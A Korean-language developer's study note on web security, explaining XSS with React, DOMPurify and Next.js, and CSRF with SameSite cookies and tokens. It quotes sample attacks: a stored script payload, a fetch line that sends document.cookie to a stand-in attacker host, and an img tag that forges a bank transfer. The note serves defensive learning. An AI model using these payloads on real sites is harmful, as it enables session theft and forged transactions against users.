XSS (Cross Site Scripting)

XSS는 웹사이트에 악성 스크립트를 삽입해서
다른 사용자의 브라우저에서 실행시키는 공격이다.

핵심은

“신뢰된 사이트에서 악성 스크립트가 실행된다”

는 점이다.

즉 사용자는

"내가 믿는 사이트니까 안전하겠지"

라고 생각하지만,

브라우저 입장에서는
그 페이지 안에 있는 스크립트는 전부 동일한 권한으로 실행된다.

가장 단순한 XSS

예를 들어 게시판이 있다고 하자.

사용자가 입력한 내용을 그대로 렌더링한다.

<div>{content}</div>

여기에 공격자가

<script>alert('XSS')</script>

를 저장한다.

그러면 다른 사용자가 글을 보는 순간

브라우저에서 script 실행

이 발생한다.

처음엔 단순 alert 정도로 보이지만,
실제로 위험한 건 그 다음이다.

XSS가 무서운 이유

처음엔

"alert 뜨는 장난 아닌가?"

싶었다.

근데 실제 공격 시나리오를 보면 완전히 다르다.

예를 들어

fetch('https://attacker.com/steal?cookie=' + document.cookie)

같은 코드를 실행하면 쿠키 탈취가 가능해진다.

즉

세션 탈취
사용자 권한으로 API 요청
관리자 계정 악용
피싱 UI 삽입

까지 이어질 수 있다.

React는 안전한가?

React를 처음 공부했을 땐 기본적으로 자동 이스케이프를 해주지않나 했지만

반만 맞는 이야기이다.

<div>{userInput}</div>

이렇게 렌더링하면

<script>

같은 문자열이 실제 태그가 아니라 문자로 처리된다.

즉 React는 기본적으로

< → &lt;
> → &gt;

변환을 자동 수행한다.

이걸 보고

그럼 React에선 XSS 걱정 안 해도 되는 거 아닌가?”

라고 생각했다.

근데 여기서 함정이 있었다.

dangerouslySetInnerHTML의 위험성

실제로 게시판이나 에디터를 만들다 보면

HTML 저장
마크다운 렌더링
WYSIWYG 에디터

같은 요구사항이 나온다.

그러면 결국 이런 걸 쓰게 된다.

<div dangerouslySetInnerHTML={{ __html: content }} />

이 순간 React의 자동 이스케이프는 사라진다.

즉

"이 HTML은 안전하다고 개발자가 직접 선언"

하는 셈이다.

여기서 XSS 위험이 다시 등장한다.

그래서 DOMPurify를 사용한다

이걸 공부하면서 처음 느낀 건

"HTML을 렌더링하는 순간 보안 난이도가 급상승한다"

는 점이었다.

그래서 사용하는 게 DOMPurify다.

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyHtml);

DOMPurify는 위험한 요소를 제거한다.

예를 들어

<script>
onerror=
onclick=
javascript:

같은 위험 요소를 제거한다.

Next.js에서 헷갈렸던 부분

Next.js App Router를 쓰면서 꽤 헷갈렸던 부분도 있었다.

DOMPurify는 이름 그대로 DOM 기반이다.

즉 브라우저 환경을 사용한다.

그래서

window
document
DOMParser

같은 객체가 없는 서버 컴포넌트에선 바로 사용할 수 없다.

처음엔

"왜 서버 컴포넌트에서 에러나지?"

싶었는데,
알고 보니 DOM 자체가 없었다.

그래서 보통은

Client Component에서 사용하거나
isomorphic-dompurify 사용하거나
서버 전용 sanitize 라이브러리 사용

같은 방식으로 처리한다.

sanitize-html과의 차이

개인적으로 느끼기엔

DOMPurify → 프론트에서 많이 사용
sanitize-html → 더 세밀한 설정 가능

느낌에 가까웠다.

sanitize-html은 상대적으로 무겁지만

허용 태그
허용 속성
URL 정책

등을 더 세밀하게 제어할 수 있다.

결국 핵심은 “Whitelist”

보안을 공부할수록 느낀 건

“막는 방식보다 허용하는 방식이 안전하다”

는 점이었다.

예를 들어

DOMPurify.sanitize(html, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
});

이렇게 안전한 태그만 허용한다.

즉

"위험한 걸 제거"

보다

"안전한 것만 허용"

이 훨씬 강력한 전략이다.

CSRF

브라우저는 쿠키를 자동으로 보낸다

이건 엄청 편리한 기능이다.

사용자가 로그인하면

Set-Cookie: sessionId=abc123

브라우저가 쿠키를 저장한다.

그리고 이후 요청마다 자동 포함한다.

Cookie: sessionId=abc123

개발자는 아무것도 안 해도 된다.

근데 문제는

브라우저는 “누가 요청을 만들었는지”보다
“어느 사이트 쿠키인지”를 우선한다는 점이다.

CSRF 공격 흐름

예를 들어 사용자가 은행 사이트에 로그인했다고 하자. 쿠키가 저장된 상태다.

그 상태에서 공격 사이트에 접속한다. 거기에 이런 코드가 있다.

<img src="https://bank.com/transfer?amount=1000000&to=attacker" />

브라우저는 단순 이미지 요청으로 생각한다.

근데 요청할 때 자동으로 쿠키를 포함한다.

즉 서버 입장에서는

"로그인된 사용자의 정상 요청"

처럼 보인다.

CSRF는 서버를 속이는 공격이다.

그래서 SameSite가 굉장히 중요했다

예전엔 쿠키 옵션을 거의 신경 안 썼다.

근데 SameSite를 공부하면서 생각이 바뀌었다.

Set-Cookie: sessionId=abc123; SameSite=Strict;

이렇게 설정하면

다른 사이트에서 발생한 요청엔 쿠키 미포함

이 된다.

즉 브라우저 레벨에서 차단한다.

CSRF 토큰은 “사용자만 아는 추가 증명”

CSRF 토큰도 처음엔 헷갈렸다.

“어차피 쿠키 있으면 로그인된 건데 왜 토큰을 또 쓰지?”

근데 핵심은

공격자는 사용자의 쿠키는 강제로 보내게 할 수 있어도,
페이지 내부 토큰 값까지는 읽을 수 없다는 점이다.

즉 서버는

쿠키 확인 = CSRF 토큰

둘 다 맞아야 요청을 승인한다.

공격 & 보안